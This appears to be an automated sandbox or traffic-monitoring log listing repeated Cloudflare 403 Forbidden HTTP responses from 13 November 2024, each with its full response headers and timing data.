Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:41 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3FoVGZDhveVTAhV2V2m28QmslPRgNuEg8payeIAXYhRkthudPxLd8lPmCyoa5wM1CMOJxbUQJQNt9XlAgDyDVXw2iB7BrQbwltLsTk4gmsp0CGF6U2nGMBKJQ0Y4zOTi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207085f9bfc978-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=33715&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=85957&cwnd=32&unsent_bytes=0&cid=bbef187e0638ecd2&ts=388&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N2XnpGIVOuyZm0HGEfwSQ0Q8T1xsObXEkw69DoSwhCZyAfkuH7RYWI7ioxkP8mMSwlI03SlrAhN0sQHYSaww5IGme35dsqq2uVKuRNNbZGWdU%2FbCTv9%2B92hK5%2B%2Bds1vQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070907ae6c93c-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=33277&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=87355&cwnd=32&unsent_bytes=0&cid=3ad56ecc8f4f2042&ts=272&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:44 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sEfjc1YARPcS6W99KkJZOg28uaSWtwd8isRR8YSuYlkL9DEnP0nM2C94XtEWCbqN4Xvxa%2Fvzw3%2BmdN4%2B0QyqPv%2FFDKM3OPiMQFNtORO5DhKjzkg64Cz0Gw5dxDurxycM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070983c39e375-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=158580&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=19444&cwnd=32&unsent_bytes=0&cid=dce779f60aff2a93&ts=829&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ofAS9CWcRnsUuY8sB%2BNZ3KUKUy%2B7LIgaz%2FpEKSThvs8vExT2XEmCF4kjcY5ur1T6yd6CwAXzCT0vQaManc5VhXa0oFDt28gG5sWvjwmeaQzLSNR%2F64kaAkigl3fjAZ3r"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070a3df49687d-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=208354&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=13997&cwnd=32&unsent_bytes=0&cid=26dade2761e9e9bf&ts=819&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:47 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HjccpWFZ2%2BSO3q7Tf0NB4hxSNVvPs5%2FO0GPYhl3V%2FGZ40642403UL%2B81Ktxplc4LLHKemvBRWZxon68%2BvaPxzfDMxNOuSd0hN4djUztdDAO4fNxgMs4Q2K2iZEIGe4e1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070b00bc1e375-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=152280&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=18737&cwnd=32&unsent_bytes=0&cid=dc5a5657835f4ce6&ts=561&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zew1z8nhqT7Mps836AToGZCOSuKUIhmI%2BkmFNSyvpeVX7pbAZqOU8cc4NM0GdP8qcy769dILlYhLYo8msyz74AJlYk1UH%2BQX4RxLBXN6SWpGTSt1dKAit3bP7gjNP81W"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070b759fbe7bb-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1182&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2494401&cwnd=251&unsent_bytes=0&cid=e116614cf5528425&ts=458&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H9RBqCEpsJKUB%2FQrKMYVUwOqrqSTQo2vXTrKhY2HbSTd5GJRD5rQo%2Fb1tC8afRJv%2FbJZQ033hPMPDmKlz%2FeYorlRTsBOSIWlT%2BgnSq5eNI6MOjvSGoI%2BGufFKlfiAjTs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070c07f6fe38e-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=148683&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=18751&cwnd=32&unsent_bytes=0&cid=5395202ae9657594&ts=837&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iNrGzA4RClqk3Zu5u%2FMf8hLl1SIFqqSMfqaf%2BIEm8wZIgoUm11bHGdri1SJFcFXrgR5z1bhzpXXCyDDHPELuB28zw72BszNWuIjjs5EydDGVTfRoySMFuYnbBDxz6X9O"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070cb49c0f62d-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=139803&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=22149&cwnd=32&unsent_bytes=0&cid=04e37b94cd00d38d&ts=723&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5E10ETFR%2BTlXuEai8SejHu6VpoufOU8kUaplQ6%2FvUBi56yf9nJiOlj0GVIj%2F%2B1Kr4gOb1I9bjFuAM2AAD5nLCFdETvP6p5bYL67UxhgjkCVZfg7CYxtCLtvvf3sDEo4S"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070e12e0ad75f-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=143441&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=19733&cwnd=32&unsent_bytes=0&cid=23631287cfa01ef7&ts=740&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8x9n4JZicwJdQHhf44iZq62bQR4PclbBYS0htN0z0UmCSMSHiqp2QJ4PjYCKKEj5xA3y%2BznPyo7blneijvou0nJg8laRd2zTyoIYi1rSovLNVoukMKJ3Gf%2Bvvs5%2BRK5h"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070eb2e12deb5-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=130660&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=22172&cwnd=32&unsent_bytes=0&cid=f28166e97db29f7b&ts=668&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TMaY3Vd5xWzms0rNmLkSR80nBpc8uNQbOBXENpzh4PsVuG9NKeyli6BcFwKQWmf3mLGSAbNJ%2BeMUoIu9I%2BET5sEZWs9C1u5paPlZP%2Bx%2BQE4%2FhKeMzruVobkNwNui1coO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070f55841ca1f-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=160357&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20599&cwnd=32&unsent_bytes=0&cid=0a46d277ad3e968c&ts=742&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gQD624mIiNghgpFyZzAJprJzLc%2FnDTRsb%2F9vcol2RdUwLvH1obq%2F2iNyGPlpoANo9JUvTVepMdcZuMUyJha%2FxnNBAUhibILuNXTSjsT4a2fwkn5kJXMW%2BiELaIrFARHN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070fe6846c9ac-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=39041&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=74193&cwnd=32&unsent_bytes=0&cid=2777bdb7e1b369c5&ts=279&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GL2Q%2FbhasOF6DcdYDAG22sB6BgF7M1fiSewuc5IKjkh720Apo6m72liNiuOrGCtTwEKZTRgw3k2zrRV%2Fnasdf1DHW0tE%2Bx%2BJ%2BKIbjEoULnDAIcmci%2FmwoNyMzwLjmhtr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071049970c958-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=41232&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=70258&cwnd=32&unsent_bytes=0&cid=c2dd190e565dc61d&ts=278&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:02 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1r2nLgGaylcA0qilBncljS4QWx9udQXuiUu0umAnEBz8XwZLVHWX2w%2FByQfOFetFPg95t7b9vT3QEp8XEvQQsnV4OH76bKcvhibOFumd2xbFh0zFM9%2FL5QL50bTapSIG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20710a29e56c6f-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1121&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=2623188&cwnd=251&unsent_bytes=0&cid=c8c2661e3f37bc44&ts=434&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kf6QbVzs01IjXub4ChxAKfDqBBewWhxpj0OU4jKpQURmVJpn%2FkeNDPTSkJ5WYbRWttQkV2j4W7SFGjaaxTjmDMpibkjGIzNHqoLpOIQ081l8i8qbbyZHDqzmX7ishTPl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207110ae07e9bd-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1386&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=1937123&cwnd=251&unsent_bytes=0&cid=2093097d31608b02&ts=397&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T3fn6QlD2ADnShiWkE7w%2BJgQac5zJ%2BB6rhtjX0EQfbKg2CxsmZjEIDRBGDtgykuPhApt6AecT3sXIMu8UticN5FHLEAbb78PBgAa1vUAN3SE9AloGRkEJc1%2B9KsAhO4N"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20711a8cf3e391-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137358&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=20796&cwnd=32&unsent_bytes=0&cid=91d7355ee9d871b5&ts=679&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:07 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lJVKZW4WVYHSwB3cEEmLlOaCV0NZl%2F207pk4vzqookWLiCiuoS3tVCo81D9CazJPEQWgAioJCt4bpFvoKO99GOCXYfupemqmmIhRmo89yzWRJATKduvwPjTzHtguyxXl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207128add6f6c1-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=129983&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=22284&cwnd=32&unsent_bytes=0&cid=aba79aad9062ef68&ts=1523&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IB5NDGGVo3QHHbPb3wYUOOJsJ7BntS7XQYNbHsQOlk9FJnD0bNMKpm%2BZ0RliYCh2bvZqyFBityTt2PBaLHwnpGIZPxhrFncE%2F13DBsEx2%2FDl5osV8T9uSV2E2g%2Bc071z"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207132da6a736e-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=144636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=20037&cwnd=32&unsent_bytes=0&cid=333774c6181703ba&ts=806&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z3k%2FFgQG5RN8Zh34Ryei8ARZBOyZpwKDrnJe07HXlaZUkY5rC25aLsW85I65t%2FzBNiO03ASrrnlNMavmXKlagT5f%2BT4XrRVK6btd9vXeMJ7%2BUENpagHji1%2FoNm0IeM0N"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20713bae1728e8-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1195&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=2258970&cwnd=241&unsent_bytes=0&cid=b9f830ac4404c89f&ts=412&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lE99fMUywD0D83ClWp8fkDocta8SIrOUqVJhbllZK8BOalTHQb2le%2B6FpN%2Fpfa3RfRRL%2BnJiRsMJo1t4tqAzWiwr1FRvRquLMzp7tg4gsBbOecOQfbosDT7%2BnuBXBpnb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20714488bce381-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137933&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=21153&cwnd=32&unsent_bytes=0&cid=947b1b9a7ade8918&ts=624&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vBtSPqmxyrDyJkwix5qrnt1vDvxLIih5%2BzmEa8Mpg26g5%2FRfxNfvqAevPswy1rH37yK9PPgZOftMqPWbbuuFJr4o%2FpRf1w0GjVs2bTqc9xu5Ty1mkm4dbJXT%2B3egor2x"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20714e1cd97343-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=159109&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=19007&cwnd=32&unsent_bytes=0&cid=d108ffc8d6860c68&ts=744&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tvSmXj%2F%2FqmB6eitwB0UhijrFrICaGR%2FWE06adn4uaNGIw872uHPkLIeDMAH8JT%2FnqCUnadLM748brKiJAGQ5iaqZPJ40m%2B2pD3pwRXVYPgCIU5tJ%2BhKvHNcfekodJbq5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071582e11d75c-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=130440&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=22173&cwnd=32&unsent_bytes=0&cid=79abd2e80f78800c&ts=811&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0oLqfR3iLDMGNOiUQ2gOoNu%2BetsYhNLbtJ5e11e3MkZa9AmZrDwdn02mP1zuSr9C9fsl%2FBrmK3TxagTdZTzw2XR8amlG%2F%2F%2Fp%2BWvS%2ByqaBU%2FGQ%2BxgpaQCYHqMs7xPYn4Y"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207162b8d68072-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=130311&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=22228&cwnd=32&unsent_bytes=0&cid=6e9b253a75976fe3&ts=710&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:17 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cStJcZhAMkzdJIeXYFhmbgRIS0hVWpDULUOP%2BXC9Q8iVBG9pbLYnwz5VzmxR%2FIiBUwtqkIkkRCFg4Kkz8Xr649eEYsAPsp4aiF79HW2gmtZ8aqOMOpjtvpZNgeEOOes6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20716ab9e2e83f-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1690&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=1678840&cwnd=251&unsent_bytes=0&cid=26728fb0c55359b4&ts=439&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:18 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hZkCJJz9GHb7NR2zmjo8DpZbGZClUPv7r6uth0raAbl2ijQpuhJLfIMkAn4D4Rm1%2Fld4v3esqTUXqlLt1TZfSIWrULQQBychNAqmdgp4iblnkEo5vq2t0sI9%2BbMjXcfB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071716ed12cb2-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1540&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=1857601&cwnd=251&unsent_bytes=0&cid=1247669daad8c299&ts=394&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WH5Airkvd6EM7%2FL8EiezsrnbczJvlTaEFxVCvRBhsNDb0KMmvWHs3egnJa1MtE2W3iFHgpflnqDtJuSM0DzyeleOhuUTd7W8FoIixWSDFawxtopb7k7dhzfET8r2D0HQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20717a3d55f611-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=161599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=16773&cwnd=32&unsent_bytes=0&cid=6608eb3e6b33cf5f&ts=811&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SrhKCms9rG%2FoJ%2B%2F9gGRAc00MgCaOhXMiMoizs0uOMxRFCwOVgK5hy%2Fq%2BMNerNqPMw8R%2B91XqU%2BS60k5sRHw7zL9FYy5UyPrthbT5DbwHns3kBhe%2FKzLtMWXur9OxHXWG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207184aca71da7-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137510&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=21048&cwnd=32&unsent_bytes=0&cid=3bba51ff7b12d286&ts=756&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nHYC3VgTFsavj47x5Ipq2yZSQTrs2q%2BhmAjDIjGnjkvL%2B1MjN0Pb9pm30O4X4QuSTBIioZKOovDW1oP7ZYcRoY1WTV5Zt0ZrqNTUUM4ep%2FBit0p%2FgOt%2BQdciG5HGwaxK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20718ec87cd761-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=134973&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=22055&cwnd=32&unsent_bytes=0&cid=5b8874c85e3848f9&ts=547&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2a1oFCT3lljdO7TIzVzNTehfzuohZWgRmd68L8poYRkSm2q%2F62yJdxR8x32WeAEuHDUdx05%2FpobZRlPwP0p%2BPZWY7nxmneM40a4rSDP0u%2FYT8z5Oth1lBquHxDjPiI5%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207199ee15d75c-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=132863&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=21475&cwnd=32&unsent_bytes=0&cid=dd1e6a571e8d3ab3&ts=747&x=0"
